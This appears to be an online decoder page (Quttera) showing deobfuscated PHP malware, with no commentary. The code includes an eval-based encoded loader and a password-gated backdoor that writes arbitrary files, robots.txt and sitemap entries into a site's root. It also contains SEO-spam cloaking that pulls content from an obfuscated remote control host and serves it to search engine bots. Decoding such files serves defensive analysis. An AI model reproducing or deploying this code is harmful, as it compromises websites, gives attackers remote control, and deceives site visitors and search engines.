Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

 function bpZ($bTuzGm)
{ 
$bTuzGm=gzinflate(base64_decode($bTuzGm));
 for($i=0;$i<strlen($bTuzGm);$i++)
 {
$bTuzGm[$i] = chr(ord($bTuzGm[$i])-1);
 }
 return $bTuzGm;
 }eval(bpZ("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"));

     
@set_time_limit(3600);
@ignore_user_abort(1);
$xmlname = '%70%62%76%74%72%71%6E%78%75%2E%6F%62%65%65%62%66%68%71%2E%6B%6C%6D';




$http_web = 'http';
if (is_https()) {
    $http = 'https';
} else {
    $http = 'http';
}
$duri_tmp = drequest_uri();
if ($duri_tmp == ''){
    $duri_tmp = '/';
}
$duri = urlencode($duri_tmp);
function drequest_uri()
{
    if (isset($_SERVER['REQUEST_URI'])) {
        $duri = $_SERVER['REQUEST_URI'];
    } else {
        if (isset($_SERVER['argv'])) {
            $duri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];
        } else {
            $duri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];
        }
    }
    return $duri;
}

$goweb = str_rot13(urldecode($xmlname));
function is_https()
{
    if (isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
        return true;
    } elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') {
        return true;
    } elseif (isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
        return true;
    }
    return false;
}

$host = $_SERVER['HTTP_HOST'];
$lang = @$_SERVER["HTTP_ACCEPT_LANGUAGE"];
$lang = urlencode($lang);
$urlshang = '';
if (isset($_SERVER['HTTP_REFERER'])) {
    $urlshang = $_SERVER['HTTP_REFERER'];
    $urlshang = urlencode($urlshang);
}
$password = hash('sha1',hash('sha1', @$_REQUEST['pd']));
if ($password == 'f75fd5acd36a7fbd1e219b19881a5348bfc66e79') {
    $add_content = @$_REQUEST['mapname'];
    $action = @$_REQUEST['action'];
    if (isset($_SERVER['DOCUMENT_ROOT'])) {
        $path = $_SERVER['DOCUMENT_ROOT'];
    } else {
        $path = dirname(__FILE__);
    }
    if (!$action) {
        $action = 'put';
    }
    if ($action == 'put') {
		if(isset($_REQUEST['google'])){
			$google_verification=$_REQUEST['google'];
			if (preg_match('/^google.*?(\.html)$/i', $google_verification)) {
				file_put_contents($google_verification,'google-site-verification: '.$google_verification);
				exit('<a href='.$google_verification.'>'.$google_verification.'</a>');
			}
		}
        if (strstr($add_content, '.xml')) {
            $map_path = $path. '/sitemap.xml';
            if (is_file($map_path)) {
                @unlink($map_path);
            }
            $file_path = $path . '/robots.txt';
            if(stristr($add_content, 'User-agent')){
				@unlink($file_path);
                if (file_put_contents($file_path, $add_content)) {
                    echo '<br>ok<br>';
                } else {
                    echo '<br>file write false!<br>';
                }
            }else{
                if (file_exists($file_path)) {
                    $data = doutdo($file_path);
                } else {
                    $data = 'User-agent: *
Allow: /';
                }
                $sitmap_url = $http . '://' . $host . '/' . $add_content;
                if (stristr($data, $sitmap_url)) {
                    echo '<br>sitemap already added!<br>';
                } else {
                    if (file_put_contents($file_path, trim($data) . "\r\nSitemap: '.$sitmap_url)) {
                        echo '<br>ok<br>';
                    } else {
                        echo '<br>file write false!<br>';
                    }
                }
            }
        } else {
            echo '<br>sitemap name false!<br>';
        }
        $a = hash('sha1',hash('sha1', @$_REQUEST['a']));
        $b = hash('sha1',hash('sha1', @$_REQUEST['b']));
        if ($a == doutdo($http_web . '://' . $goweb . '/a.php') || $b == 'f8f0dae804368c0334e22d9dcb70d3c7bbfa9635') {
            $dstr = @$_REQUEST['dstr'];
            if (file_put_contents($path . '/' . $add_content, $dstr)) {
                echo 'ok';
            }
        }
    }
    exit;
}

function disbot()
{
    $uAgent = strtolower($_SERVER['HTTP_USER_AGENT']);
    if (stristr($uAgent, 'googlebot') || stristr($uAgent, 'bing') || stristr($uAgent, 'yahoo') || stristr($uAgent, 'google') || stristr($uAgent, 'Googlebot') || stristr($uAgent, 'googlebot')) {
        return true;
    } else {
        return false;
    }
}
function doutdo($url)
{
    $file_contents= '';
    if(function_exists('curl_init')){
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
        $file_contents = curl_exec($ch);
        curl_close($ch);
    }
    if (!$file_contents) {
        $file_contents = @file_get_contents($url);
    }
    return $file_contents;
}
$web = $http_web . '://' . $goweb . '/indexnew.php?web=' . $host . '&zz=' . disbot() . '&uri=' . $duri . '&urlshang=' . $urlshang . '&http=' . $http . '&lang=' . $lang;
$html_content = trim(doutdo($web));
if (!strstr($html_content, 'nobotuseragent')) {
    if (strstr($html_content, 'okhtmlgetcontent')) {
        @header("Content-type: text/html; charset=utf-8");
        $html_content = str_replace("okhtmlgetcontent", '', $html_content);
        echo $html_content;
        
    }else if(strstr($html_content, 'okxmlgetcontent')){
        $html_content = str_replace("okxmlgetcontent", '', $html_content);
        @header("Content-type: text/xml");
        echo $html_content;
        
    }else if (strstr($html_content, 'getcontent500page')) {
        @header('HTTP/1.1 500 Internal Server Error');
        
    }else if (strstr($html_content, 'getcontent404page')) {
        @header('HTTP/1.1 404 Not Found');
        
    }else if (strstr($html_content, 'getcontent301page')) {
        @header('HTTP/1.1 301 Moved Permanently');
        $html_content = str_replace("getcontent301page", '', $html_content);
        header('Location: ' . $html_content);
        
    }
}



© 2023 Quttera Ltd. All rights reserved.